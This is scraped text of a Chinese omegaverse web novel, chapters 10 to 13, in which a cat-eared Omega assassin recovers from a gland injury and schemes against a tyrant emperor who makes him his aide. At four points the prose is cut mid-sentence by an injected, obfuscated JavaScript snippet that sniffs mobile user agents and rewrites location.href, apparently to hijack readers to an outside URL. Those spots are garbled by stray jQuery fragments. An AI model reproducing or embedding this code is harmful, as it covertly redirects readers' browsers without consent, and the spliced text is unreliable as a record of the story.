洛湫这才开口:“那要是……发.情期怎么办?” 腺体好的没有那么快,至少在下次发.情期之前,应该还不会痊愈,更何况他的发.情期最近频繁且不固定。 齐钧轻笑道:“你是陛下的Omega,发.情期自然是找陛下释放信息素安抚了。” 洛湫:“……” 让他疼死吧。 不过,他只是名义上是暴君的Omega,实际上标记他的却是暴君的弟弟楚异,但楚异也是华利亚帝国的皇室,他不能对那人有任何哪怕信息素上的依赖。 治疗完毕,齐钧似乎还有别的事,很快就离开了,唐穆知道自己这会儿不受洛湫的待见,借着送齐钧的名义也离开了。 倒是楚欢仍旧待着不走,他看着洛湫脖颈上缠着的绷带,呜咽了起来:“都怪我,是我害你变成这样的,切开腺体……那得多疼啊,呜呜呜呜呜!!!!” 洛湫:“……” 洛湫一时没反应过来,身边这个因为他受了伤而为他哭泣的人,竟然也是华利亚帝国的皇室。 他沉默了许久,只听见楚欢又道:“我也没想到我哥会下这么重的手,这样吧,我帮你逃出去,好吗?你别留在皇宫了,我哥不喜欢Omega,你留下也没有用,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15180915|165269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 换个人喜欢吧。” 洛湫摇了摇头,一时没适应自己腺体的伤,又轻轻扯动了,他连忙不动了,只道:“我没地方去。” “不会啊,你也可以回法尔研究院嘛!”楚欢连忙道。 “不行……” 不行,他还没有杀掉暴君,他不能离开。 楚勝既然不准备杀他,也没有继续折磨他,不管出于什么原因,至少他现在还活着,只要他还活着,他就还有机会! 洛湫翻过身,看着楚欢正泪眼婆娑地与他对视,短暂地移开了目光:“我受伤不是因为你,你不用自责。” “可是……” 楚欢还要说什么,洛湫不耐地将他打断:“我要休息了,你走吧。” “哦,哦……”楚欢只好闭上了嘴,他走到门口,看着洛湫,“那你好好休息。” 房门一开一合,屋子里变得格外安静。 洛湫在床上躺了一会儿,他其实没有要休息的意思,只是有件事想不明白。 他撑着自己从床上坐起来,抬手轻轻碰了碰脖颈上的纱布,只要脑袋不做大幅度的动作,其他倒是不影响。 洛湫思量了片刻,趁着没人,又从房间溜了出去。 他一路找到了花房,那偌大的海水池子里,浅蓝色的那道身影仍旧背对着他,趴在池子边上,沉静,宁和。 洛湫站在门口看了好一会儿,直到那人回过头来,温和地问他:“怎么站在门口盯着我看?” 在目光触及洛湫的时候,楚勝的神色一变:“你的脸色怎么这么白?生病了吗?” 洛湫收回了视线,一步步朝着楚异走去:“没有,我只是有个问题想问你。” 楚勝随着他的走动,目光移回来:“你想问什么?” 洛湫抿了抿唇,在楚异面前停住,紧紧盯着对方,一字一句地问:“你真的不是楚勝吗?” 楚勝看着他,唇边的笑容缓缓淡了:“你见过他了?” 洛湫没有放过楚异脸上一丝的表情:“对。” 楚勝笑了笑:“你心里其实已经有了答案,若是你认定我和他是同一个人,这会儿就不会出现在这里了。” 洛湫愣了愣,楚勝和楚异虽然长得一模一样,甚至连信息素都是海洋的味道,可给他的感觉却截然相反,若真是同一个人…… 若真的是…… 洛湫蹲下来,盯着楚异:“没关系,就算你们是同一个人,也没关系。” 华利亚帝国皇族,他一个都不会放过的。 楚勝看着脸色冷下来的洛湫,笑容依旧,但下一秒,他的眉头便皱在了一起:“脖子怎么了?” 洛湫抬手护了一下脖子:“不关你的事。” 反而有些此地无银三百两。 他刚要走,脚踝上忽的被水母触手缠上,眼看着对方又要把他拉下水,洛湫连忙道:“别,腺体还不能碰水!” 拉他脚踝的水母触手顿时停了动作,楚勝眼底一片冰凉:“他伤了你?” 洛湫不语,只是后退了两步,离水池远了一些。 “是因为……临时标记吗?” 11. 第 11 章 “你少自作多情了。”洛湫皱起眉头,转头盯着楚异。 楚勝被他嘲讽也只是淡淡地笑了一下,并未有任何的不悦,他看洛湫又准备走,不禁问:“就这么走了?” 洛湫动作一顿:“不然?你觉得我们之间有什么别的吗?” 楚勝轻笑了起来:“这次不说让我没见过你了?” 洛湫:“……” “你自己记得就好,更何况……你也不能对外说自己见了外人吧?” 楚勝没有回答他,只道:“我还以为,你是来找我帮忙的?” 洛湫又是一顿,他确实想要利用楚异,但在他不清楚楚异究竟是什么样的立场之前,他不能够轻举妄动。 “不……”洛湫的话还没说完,脚踝上再次被缠上了微湿的触感,他吓了一跳,“你干什么!” 只是这一次,他来不及阻止,就被那水母触手拉下了水池,海水一瞬间包围了他,洛湫下意识去护脖颈后的腺体,手腕上却再度被触手缠上,那人将他迅速拉近,洛湫狠狠踹向对方:“你要害死我吗?!” 腺体不能碰水,要是伤口发炎溃烂…… 楚勝躲开了洛湫那一脚,并将洛湫的两只脚都束缚住,他抬手解开了对方脖颈上的绷带,道:“让我看看。” 洛湫抿着唇,脸色难看,海水其实并没有碰到他的腺体,那人将他拖下来,却也用触手稳住了他的身形,脖子以上都很好地浮在水面上,但仍旧让人不放心。 绷带被解开,受伤的腺体暴露在微凉的空气中,因为缝了线,鼓胀红肿的腺体显得楚楚可怜,洛湫咬了咬牙,威胁道:“松开我!你再看,下次你的毒发作了我可就不管你了!” 只是他的威胁对于楚勝来说没有什么作用,下一秒,洛湫感觉到腺体上贴上了一个柔软的,湿濡濡的东西,激得他浑身仿佛过电了一般。 他以为是那人的触手,挣扎着要去揍对方,四肢却被触手束缚着,无法给眼前这人来上一拳。 洛湫气急,伤口碰了水,需要及时处理,否则腺体就真的要遭罪了,偏偏眼前这人不肯放过他,他被那人揽在怀里,脑袋正好搁在楚异的肩头,他红着眼睛,张口咬在对方的肩颈处。 脖颈后腺体处的东西顿了顿,随后又继续动作起来,那柔软的东西一寸一寸拂过他的腺体,在伤痕上停留着,一下一下,似乎不是触手,反而像是……舔舐? 洛湫意识到腺体是被对方用舌头舔舐着,嘴上的力道因为愣神松了松,随即整张脸爆红,他的脖颈被对方叼住,整个人紧绷了起来,脆弱的脖颈和敏.感的腺体都被那人掌控着,心底的不安缓缓蔓延。 不等他开口,海洋般的信息素将他包裹,安抚的信息素如同一只大手抚摸顺着他的毛,缓和着他紧绷的神经。 那人一边舔舐一边吮吸着他的腺体,洛湫半天才反应过来,皱着眉头又咬上了楚异:“你做什么?!我腺体都这样了你还要标记?!” 果然是华利亚帝国暴君的弟弟,和那人有着同样的劣根性,他根本没必要来找他! “水母族的愈合力很强,即便触手被人用匕首齐齐砍断,也能够在下一秒重新长出新的来,我可以帮你修复你的腺体,比用针剂和药来得更快。”楚勝的声音带了点喑哑,缓缓开口。 洛湫咬着对方的力道顿了顿,随即又狠狠咬了一口,这一次却不是为了发泄情绪,而是怕自己口中的声音泄露出来。 轻柔的舔舐比起被尖锐的牙齿刺破腺体更加令他刺激,像是被浸过水的毛笔轻扫着他的后背麻痒和苏爽掠过他的全身,被衔住弱点的不安和这份刺激夹杂着,令他无所适从。 良久,楚异才松开了他,他从那人的肩颈处抬起头,对上了楚异的视线,淡蓝色的眸光如同澄澈的溪流,温柔缱绻,只是透着一丝难以察觉的委屈。 楚异确实只是舔舐他的腺体伤口,并没有用尖锐的牙齿刺破他的腺体注入信息素,而他的腺体也没有感到不适,甚至楚异释放的安抚信息素都令他感到舒适,没有一丝疼痛。 他还没说话,束缚着他的水母触手已经将他送回了岸上,他回头一看,只见楚异仍旧靠在池子边,只是垂着眼眸,十分失落的模样。 洛湫张了张嘴,却没能说出什么话来,虽然知道了对方是好意,但这人终究是华利亚帝国的皇族,是他的仇人,他永远也不可能和他的仇人道谢。 “没关系,我明白的,你是我哥哥的Omega,应该有齐博士为你治疗,是我多此一举了。”楚勝温温和和的声音从池子里传来,不疾不徐,如沐春风,叫人忍不住心软。 洛湫又张了张嘴,随即眼眸一冷:“你怎么知道有齐博士给我治疗?你虽然被困在这个花房里,但是似乎对外面的事了如指掌?” 他一边说着,语气都逐渐凝成了霜。 楚勝的神色却没什么变化,只是挑起一个苦涩的笑来:“齐钧是皇宫的御用医师,也是我哥哥最忠心的下属之一,如果不是他为你治疗,那难道是齐钧出了什么事?我哥哥身边的人都被换了吗?” 他问的很真诚,像是真想知道外面有什么变动一般。 洛湫盯着楚异的目光缓缓收回:“没有。” 楚勝不太在意地点了点头,望着洛湫,轻轻叹息:“我要是齐钧就好了,我就能很快治好你的腺体了,利刃划开的时候,一定很疼吧?” 洛湫瞳孔微颤,他几乎是下意识躲开了楚异的目光。 “不疼。”洛湫瓮声道。 楚勝却用心疼的目光看着他:“你真是我见过最坚强的小猫了。” 洛湫的耳尖顿时染上了一层绯色。 混蛋,为什么要用这么温柔的语气在这种事上夸他啊? 洛湫十分不争气地跑路,回头还不忘又威胁对方:“不准说你见过我!” 回去的路上,洛湫将耳尖的绯色消了下去。 楚异可是华利亚帝国的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15180916|165269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皇子,是那个暴君的弟弟!不能因为说了几句好话,帮他治疗腺体,他就心软不杀对方了! 洛湫用消毒的药水用心给自己的腺体周围涂了一圈,在镜子中倒映出他腺体的状况——红肿有些消下去了,比起一开始缝合完的恐怖,现在要正常许多,伤口也在缓慢修复着,感觉用不了几天就能拆线了。 洛湫用绷带重新包扎好,躺回了床上。 他休养了两日,恢复了些许精力,腺体也没再那么疼了,拆线的不是唐穆,而是齐钧,洛湫倒是松了一口气,他现在看见唐穆就会想起在审讯室被按在手术台上剖开腺体的疼痛,实在不想看见那人,他怕自己一个没忍住,暴君没杀了,把唐穆先杀了,不划算。 齐钧拆了线,给他重新包扎完,用镊子轻轻戳了戳洛湫的腺体,洛湫整个人一颤,冷声问:“怎,怎么!” 齐钧收回了手,将一切收拾好:“之前我说过,你的腺体似乎被什么药剂破坏过,你的信息素越是释放,腺体越是被破坏得更严重,用不了多久,你的腺体就会失去它该有的作用。” 洛湫知道,这是他进宫的代价,按原计划,他会被楚欢献给暴君,然后潜伏在暴君身边,伺机行动,如果他的腺体不被破坏,s级的信息素会让暴君陷入易感期导致信息素暴乱,那么暴君一定不会留着他。 然而现在,一切计划都被打乱了,暴君并没有受伤,或者说,即便对方受了伤,他也仍旧不是那人的对手,没能做到一击毙命。 “而这针剂除了破坏你的腺体,还会使你的腺体异常敏.感,其目的是让你成为一个供alpha玩乐的货品。”齐钧还在继续研究。 洛湫道:“我知道,我只是一件拍卖品,本就是献给陛下的货品。” 齐钧笑了笑:“陛下不会喜欢这样的货品的,我会研究一下关于修复你腺体的药剂,看看能不能阻止你的腺体被破坏。” 洛湫听着他的话,想起楚异跟他说的,不禁问:“你很了解暴…陛下吗?” 齐钧耸了耸肩:“还行吧。” 洛湫问:“他这样残暴,你为什么要跟着他?” “残暴……”齐钧皱了皱眉,“这与我无关,我只知道法尔研究院将我赶出来的时候,是陛下收留了我,他们不相信一个Omega能够做好那些学术研究,但陛下相信了我,给我容身之所,让我尽情地发挥我的能力,让我的研究得以问世,他在我眼里可不是什么暴君。” 洛湫怔了怔,这是他头一次对于楚勝的听到不同评价。 他收回目光,任由齐钧离开。 齐钧是楚勝最忠心的下属,他的话未必可信。 况且……暴君是否真的残暴,和他复仇并不冲突。 “洛湫。”门外传来了唐穆的声音,洛湫眉头直皱。 他并不打算搭理唐穆,门外的人似乎也知道他的反感,没有直接进来,也没有继续敲门,只是陈述一件事:“陛下要见你。” 12. 第 12 章 洛湫再次踏入那间楚勝的卧室,明亮的灯光将暴君的脸映得更加冷硬,流畅的线条似一笔勾勒形成,即便对着这样一张脸,他还是能够感觉到,同样的脸不同的气场。 楚勝朝他投来一道似笑非笑的目光,洛湫注意到那人的手上戴着黑色的手套,将衣袖和指尖露出来的所有肌肤都藏了起来,他没有多看,因为身后带他进来的唐穆在暴君的一个眼神中退了出去,顺便带上了房门。 洛湫盯着楚勝,静静等着对方,他不知道这人为什么突然要见他,但这人可是暴君,定然没什么好事。 然而楚勝并没有开口,诡异又沉默的气氛在两人之间蔓延,卧室里安静得落针可闻,这样难挨的氛围在洛湫的心跳声中,艰难地过去,一分一秒都被无限拉长。 洛湫甚至觉得,自己的腺体又在隐隐作痛了。 他看着处理公务的楚勝,淡蓝色的虚影投在对方的脸上,那人的神情淡然,并没有过多的变化,分辨不出那人的想法。 若是换做旁人,在这样的气氛里早已开始胆战心惊,怀疑自己做了什么惹得暴君不快,将自己平生所做的坏事全部反思一遍,然后颤颤巍巍跪下求饶。 但洛湫只是盯着楚勝,像是要将对方盯出一个洞来。 暴君玩弄人心的手段,果真让他大开眼界。 良久,似是处理完了公务,楚勝从投影出抬起头,与紧紧盯着他的洛湫对上了视线,只一瞬间,两道目光在空中纠缠,楚勝那双好看的桃花眼带着似笑非笑的意味,像是含着满目情深,但洛湫只从那双眼睛中看到了审视。 “楚欢同吾求情,要吾将你放出宫去。”楚勝看着他,缓缓开了口。 洛湫一愣,没想到楚欢会直接和暴君说这个事,不过也是,以楚欢的本事,偷梁换柱还好,直接将他带出宫倒是做不到,更别说他已经在楚勝面前露过脸了。 但是楚勝只是陈述了这件事,并没有说结果。 洛湫知道,对方在等他的态度。 他收回目光,假装温顺:“陛下是不要我吗?” 楚勝轻轻挑了下眉头:“吾为何要你?” 洛湫抿唇道:“楚欢亲王将我送给陛下,陛下若是不要我,我没地方去。” 楚勝唇角带着浅淡的笑意:“你的意思是,你想留下?” 洛湫点头:“可以吗?” 楚勝却意有所指道:“吾为何要留下一个如此危险的Omega?” 洛湫看着楚勝,心底升起一股危险的预感,这暴君把他叫来,不会只是为了问他想留下还是离开,若是他真想遂了楚欢的愿,放他离开,就不会特地将他叫来,多此一举了。 恐怕只要他说自己想要离开,出了皇宫,唐穆就会领着人将他截杀。 而他也就坐实了刺客的身份。 这么死,他不甘心。 这么离开,他也不甘心。 于是他低着头,将自己的姿态放低:“我虽然偷偷溜进陛下的卧室,但我也是因为爱慕陛下,想见陛下一面。” “哦?”楚勝饶有兴趣地看着他,“继续。” “匕首……”洛湫主动提起,“我被陛下强大的气场吓到了,所以才对陛下出了手,既然您也罚过了,此事揭过可以吗?” 楚勝轻笑了一声,戏谑道:“你还同吾讨价还价起来了。” 洛湫不语,只是看着对方。 楚勝敛了笑意:“可是吾不缺Omega,也并不需要Omega。” 洛湫想了想,又道:“只要能留在皇宫,留在陛下身边,哪怕只能偶尔看到陛下一眼,我也满足的。” 楚勝脸上又出现了那种玩味的神色:“你真这般喜欢吾?” 洛湫点点头,却垂着眼眸不敢看对方,他怕自己眼底的恨意流淌出来,功亏一篑。 楚勝的指尖在桌子上轻轻敲了敲,似乎在想如何安排眼前的人,很快他便道:“你想留下也可以,吾身边缺个贴身助理,你愿意吗?” 洛湫一愣,这倒是个接近暴君的好机会,暴君大概也会试探他,但比起什么都不做,总会是有个机会。 他连忙点头:“愿意的。” 楚勝:“那就开始你的工作吧。” 洛湫其实并不知道贴身助理要做些什么,但一想这暴君也并不是想要一个贴身助理,只是想将他放在眼皮底下,便也没将这所谓的工作放在心里了。 他看了一眼桌子上的水,想了一下,递到了楚勝面前:“陛下口渴吗?要喝水吗?” 楚勝淡淡地看了他一眼:“不需要。” 洛湫只能放下水,绕到楚勝的身后,掌心落在了对方的肩颈处:“那陛下应该累了吧,我给陛下按摩一下,放松放松。” 这次倒是不等楚勝拒绝或是同意,已然捏了起来。 楚勝轻笑了一下,小家伙还是这么防备和疑心,洛湫按的地方,不偏不倚正好是他肩颈处被咬了两口的位置。 “按摩的力度这么轻,敷衍吾?” 他说完,肩颈处的力道顿时加大了些,他笑了笑,靠在椅子上,任由洛湫给他按摩。 说实话,他确实很久没有这样放松过了。 “陛下。”门外是唐穆的声音。 楚勝闭着双眸享受着洛湫的按摩,淡声道:“进来。” 唐穆一进门,目光就落在了洛湫按着楚勝肩膀的手上,陡然睁大了双眼。 这白猫Omega竟然能触碰他们陛下! 箱水母的毒足以毒死每个靠近他的人,尤其他们陛下身上的毒比任何生物都要强,甚至无法屏蔽,齐钧做了很多次研究,都没有办法收敛陛下身上的毒素,只能戴上隔绝毒素的手套,平常他们都不会近陛下的身,没想到……这只小猫竟然能够安然无恙地站在那里! “什么事?”楚勝的声音打断了唐穆的震惊,唐穆连忙收回了目光。 他看了一眼有些不耐的楚勝,连忙道:“陛下,方宿少将求见。” 楚勝抬眸:“让他进来吧。” 唐穆出去的同时,楚勝又开了口,话是对洛湫说的:“藏起来。” 洛湫愣了愣,左右扫了一下,但是门外的脚步声已经传来,他没时间躲太远,只能钻到了桌子底下。 “参见陛下。”清脆的声音从外面传来,方宿看着楚勝,行礼。 楚勝的目光却没有落在方宿身上而是垂眸落在了洛湫的身上,从他的角度,正好俯视着洛湫,少年红宝石一样的眼睛正无辜地望着他,像一只真正的小猫,趴在他的膝盖上,让人忍不住想逗一逗。 “起来吧。”楚勝不动声色地开口,眸光却瞥见脚边一截露出来的猫尾,他抬脚将猫尾压住,面上不显。 方宿不知道楚勝在做些什么,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15180917|165269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恭恭敬敬地汇报:“陛下,属下查到了一些重要的事,报了唐穆上将,这才破例求见,请陛下恕罪。” 楚勝淡淡道:“别说废话。” 洛湫没心思听他们说什么,猫尾被楚勝踩着,他顿时瞪着对方,但又不敢出声,生怕对方脚上一个用力,把他的尾巴踩断,他只能轻轻挠了挠楚勝的腿,示意对方松开他的尾巴。 然而楚勝的目光带着戏谑,脚却没有半分移开的意思,他不奢望楚勝会放开他,于是小幅度地伸手握住了他的尾巴,轻轻扯了扯,试探着从楚勝脚下解救他的尾巴。 然而对方的力道更重了些,虽然不至于让他疼,但若是他使劲把尾巴扯出来,必定要受伤,于是他只能放弃来硬的。 如同泄愤一般,洛湫发现这人软硬不吃后,伸着爪子在楚勝的腿上挠了两爪子。 “嘶。”楚勝轻吸了一口气,小猫的指甲虽然修剪的平整圆润,但经不住洛湫用力地报复。 方宿顿时抬了头,看向楚勝,对方的神色没什么变化,仍旧是那副慵懒随性的模样,但那声少见的动静,倒是令他分外疑惑。 陛下在处理公务的时候,一向快速果决,即便他神色随意,但只要开口,每句话,每个字,都是落在点上,没有多余的声音和废话,更别说发出这样的声音。 方宿不由得看向楚勝,陛下似乎从他进门开始,目光就一直垂在下面,根本没看他一眼,听他汇报好似也心不在焉的模样,就像是…… 就像是有什么别的东西转移了陛下的注意力。 方宿的目光情不自禁地落在了那张桌子上,桌子足够将楚勝的半个身子都挡住,下面的情景看不到一点,但楚勝的一条腿似乎撇得有些开了,都露在了桌子外面,这样大开的坐姿,加上方才那一声意味不明的轻哼,方宿顿时想到了某些事情。 陛下……不会是在桌子底下藏了人吧?! 他记得外界都传陛下清心寡欲,不近O色,没想到竟然玩的这么花!!! 方宿陡然瞪大了双眼,像是发现了什么了不得的秘密,眼底闪着兴奋的色彩,却又因为在楚勝面前,工作汇报还没结束,只能死死忍着,那表情格外精彩。 楚勝瞥了洛湫一眼,没看到方宿精彩的表情,只声色未变:“你继续。” “是。”方宿只好硬着头皮继续汇报,只是这一次,语气快了许多。 外面的汇报声断了一下,又重新回到正轨,洛湫望着楚勝,总觉得那轻轻一瞥格外危险,下一秒楚勝便伸了手,捏住了他的下颌,轻轻摩挲起来。 洛湫总觉得,楚勝不是在逗他,而是想把他的下巴卸下来。 “另外,属下还在城中查探到了艾佃伊帝国的余孽行踪。” 方宿凝重的声音在洛湫的耳边炸响,他瞳孔剧烈一缩,盯住了楚勝。 楚勝将洛湫的细微表情尽收眼底,第一次将目光投向了方宿,噙着唇边的淡笑,道:“全城搜捕。” 方宿领了命,道:“是!” 汇报完毕,方宿便离开了。 洛湫看着楚勝,对方终于玩够了,舍得松开了他的尾巴,他从桌子底下爬出来,抿唇冷声道:“贴身助理应该不包括把尾巴递给陛下玩吧?” 楚勝的眉眼间染上了一抹笑意,瞥了一眼洛湫泛红的耳尖,淡笑道:“你的尾巴自己没有藏好,吾可是帮了你呢。” 13. 第 13 章 洛湫没好气地瞥了楚勝一眼,照这么说他还得谢谢他了? 按理来说,洛湫这会儿不应该顶撞楚勝,毕竟他才想办法留在皇宫,保全自己的命,同时另寻机会杀了这暴君。 但是方才听到“艾佃伊帝国的余孽”消息,此时心神激荡,此刻说的话也带了点刺:“若不是陛下着急忙慌地要我躲起来,我的尾巴怎么会落在外面,再说尾巴捡回来就好了,陛下为什么踩它?” 艾佃伊帝国灭亡后,领土被划分到了华利亚帝国管辖,上一任帝王派了人驻守在艾佃伊帝国,由专人处理一应事务,艾佃伊的公民其实并未受到什么影响,不过是换了个人来管理国家,不过是国家变成了另一个国家的其中一个城,他们照样忙着自己的生计。 所以,余孽不会指那些艾佃伊的公民,而是皇族。 是谁呢?他亲眼看见他的父王母后倒在血泊里没了呼吸,该不会是他那个生不见人死不见尸的哥哥吧? 如果真的是……绝不能让暴君抓到他! “你在斥责吾?”楚勝的话不冷不淡,却让人激起一层冷汗。 洛湫才反应过来自己在怼暴君,这个时候他不该惹怒对方,只能低下头,揉了揉下颌,装作自己很疼的模样:“不敢。” 楚勝的目光果然落在了洛湫的脸上,下颌只是被他捏着摩挲了一会儿,白皙的脸上便留下的粉红的印子,像是他做了什么似的。 楚勝笑了笑,如愿没有再追究洛湫顶撞他的事,却抬了抬下巴:“继续你的工作。” 洛湫顿了顿,正打算再绕到楚勝的身后,公报私仇捏得重一些,最好把那暴君也捏得疼起来,谁知楚勝却阻止了他的动作:“你还有更重要的事情要做。” 洛湫不明所以:“请陛下吩咐。” 楚勝轻轻落下一眼,道:“暖床。” 洛湫:“……?” 洛湫眨了眨眼,没有动,只是有些诧异地问楚勝:“贴身助理还包括给陛下暖床吗?” 楚勝淡淡瞥了他一眼,只道:“不愿意?你上一次不是做得很好吗?” 上一次……是他躲在被子里准备刺杀暴君的那一次。 洛湫自知理亏,只好一小步一小步朝床上挪过去,还垂死挣扎道:“不是不愿意,只是陛下不是说不喜欢Omega吗?我怕我的信息素染在床上。” 楚勝低笑了一声:“你如果把信息素染到床上,明天就去给审讯室的手术台暖床。” 洛湫:“!!!” 该死的暴君!这人就是故意的! 洛湫恨得牙痒痒,却也只能磨了磨牙,乖乖爬到床上,收敛自己的信息素。 其实他也只是随口说说,毕竟他的腺体还没恢复,信息素没办法释放出来,根本不会沾染在床上,只是想找个借口离开罢了,没想到这暴君如此恶劣! 洛湫出卧室的门已经快深夜了,他一路走回去,却发现周围巡防的士兵看他的眼神似乎都不太对劲,有鄙夷的,也有肃然起敬的,有暧昧的,还有带着意味不明的笑的。 十分复杂,也莫名其妙。 直到他关上房门,又贴在门后面,听着外面的动静。 果不其然,他一离开,外面便沸腾了起来。 “方宿少将说的是真的吗?那Omega怎么这么快就从陛下的房间里出来了?” “陛下都没留他过夜,说明也只是把他当玩物罢了。” “可就算只是玩玩,之前都没人能入陛下的眼,难道说s级的信息素真有这么好?” “哎呀,说不定是桌子底下太刺激了,陛下晚上不想折腾那Omega了呢?” “你别说,那尾巴和耳朵,从他进皇宫的第一天我就想摸一摸了,原本还想着要是陛下把人丢出去了,我就把他买回来,前两日他不是还进审讯室了吗,我还以为能白嫖了呢,真可惜。” “就是,也不知道他是用了什么迷惑陛下的手段。” “关键是咱们陛下竟然还真的留下他了!真是破天荒头一回啊!” 洛湫在门内听了个大概,终于知道那些目光究竟是因为什么了。 还没等他吐槽,门外响起了楚欢的声音:“都说什么呢!站岗就好好站!” 洛湫连忙离开门口,坐到桌子边,便听到楚欢敲了敲他的门:“洛湫,你在吗?” 洛湫:“在,进来吧。” 楚欢立刻进了门,又很快地关上,将门外那些碎嘴子都隔绝在了外头。 “怎么了?”洛湫见他神色匆忙,不由得问。 楚欢连忙钻到了他身边,低声问:“我哥真的把你留下了?” “呃……”洛湫总觉得楚欢话里还有一层别的意思,但是只能点头道,“算是留下了吧。” 楚欢十分激动地看着他:“那你真的……真的和我哥当着方宿的面在桌子底下……” 楚欢话还没说完,洛湫率先打断了他:“没有!不是的!” 他涨红了脸,有些生气道:“方宿……少将到底在传些什么?他就不怕陛下罚他吗?” 楚欢闻言,顿时大失所望:“什么啊?不是真的啊?方宿还说的有模有样的,你当时不在桌子下面吗?” “这个……”洛湫感觉自己地呼吸都在发烫,“我倒确实是在桌子底下,但……” 没等他说完,楚欢眼睛“唰”地亮了:“我就知道方宿少将不会骗人!我哥真强啊,嘴上说不喜欢Omega,原来他喜欢你这样的!我就说吧,O追A,易如反掌!” 洛湫抿了抿唇,挣扎道:“没有……” 楚欢看着他,问:“好吧,你说没有,那你说说,你在我哥房间里做些什么?” 洛湫:“……” 他相信如果自己说出暖床这两个字,楚欢能把现在的谣言坐实并且夸的更大。 直觉告诉他,他这会儿闭嘴才是最正确的,至于那些谣言,他相信那个暴君不会不管的。 “说不出来!看来方宿少将说的是真的!我哥终于开窍了!!!”楚欢看起来十分高兴,就差撒把花了。 虽说一个常年单身且说着对Omega不感兴趣的人突然开荤这件事确实很让人津津乐道,但一想到对象是他和那个暴君,洛湫的脸色就冷了下来。 他希望未来人们的谈资会变成他杀了那个暴君,替他艾佃伊帝国复仇。 “问你一下,那个方宿少将,他平时在皇宫当值吗?”洛湫看着楚欢,问。 楚欢摇了摇头:“少将大多数时间不在皇宫,一般都在都城巡逻,以及查探一些情报,他的情报会传给唐穆上将,这次也是破例进宫来自己汇报,不知道是什么重要的事情,哎,你不是在里面听见了吗?他说了什么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15180918|165269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洛湫看了楚欢一眼,回避了目光:“没听清。” “哦~”楚欢一脸“我懂得”表情看着洛湫。 洛湫最后受不了了,将楚欢直接赶出了门。 若是方宿不经常回皇宫,他又该到哪里去打探有关他哥哥的下落呢? 楚欢刚才说,方宿的消息一般会传给唐穆,再由唐穆呈给暴君,这么说来,他同唐穆打探,就能先暴君一步知道他哥哥的下落。 洛湫打定主意,便在床上睡了过去,今晚倒是他少见的没有行动的一晚。 第二日一早,洛湫被门外的动静吵醒,有人敲了敲他的门,房门却先一步打开了。 洛湫冷眼望了过去,红宝石的双眸似染上了寒霜,却在对上门口的人后,烟消云散。 是柏城管家。 这次柏城手里并没有给他送早餐,而是对他道:“陛下在找您过去呢。” 洛湫想起来自己现在是暴君的贴身助理,于是立刻从床上起来:“我马上就去。” 柏城笑了笑:“倒是不急,您慢点来。” 洛湫看了柏城一眼,从对方的神情中看到了欣慰,想到那些谣言,洛湫顿时知道对方在想些什么,脸又黑了下来。 他快速穿好衣服跟着柏城朝楚勝的卧室走去。 一路上,柏城叮嘱他:“陛下头一次对Omega动心,要是有什么不妥帖的地方,您可多多体谅啊。” 洛湫看着他,无视了大部分的话:“你这话很像长辈才会说的,莫非你是看着陛下长大的?” 柏城笑了起来:“不敢不敢,只是陛下从小到大确实是我看顾的,有时候难免说些不知分寸的话,见笑了。” 洛湫扬了扬眉:“你不怕他?” 柏城道:“怕?” 洛湫:“哦,我看皇宫里很多人都怕他。” 柏城了然,摇头道:“那是他们不了解陛下,陛下其实并没有他们说的那么可怕,他还是很温柔的。” 洛湫:“……” 他总觉得,柏城管家口中温柔的那个人,是暴君的那个双胞胎弟弟楚异。 究竟是同一个人,还是另有真相呢? 洛湫跟着柏城走到了门口,只见唐穆正在里面,和楚勝汇报着什么。 洛湫心中一惊,急忙竖起耳朵听了起来。 “宫里的刺客找到了吗?”楚勝忽的旧事重提。 唐穆瞥了楚勝一眼,他记得不出意外刺客已经死了,陛下当时安排这件事后也没再问过,怎么突然提起来了? “请陛下恕罪,还没找到。”唐穆只能如是道。 楚勝看着他,似是有些不满:“看来宫中的巡防有些懈怠。” 唐穆似乎反应过来什么,那些谣言还是传进了陛下的耳朵,他看着楚勝似笑非笑的神情,垂首求情:“属下这就去加强巡防。” 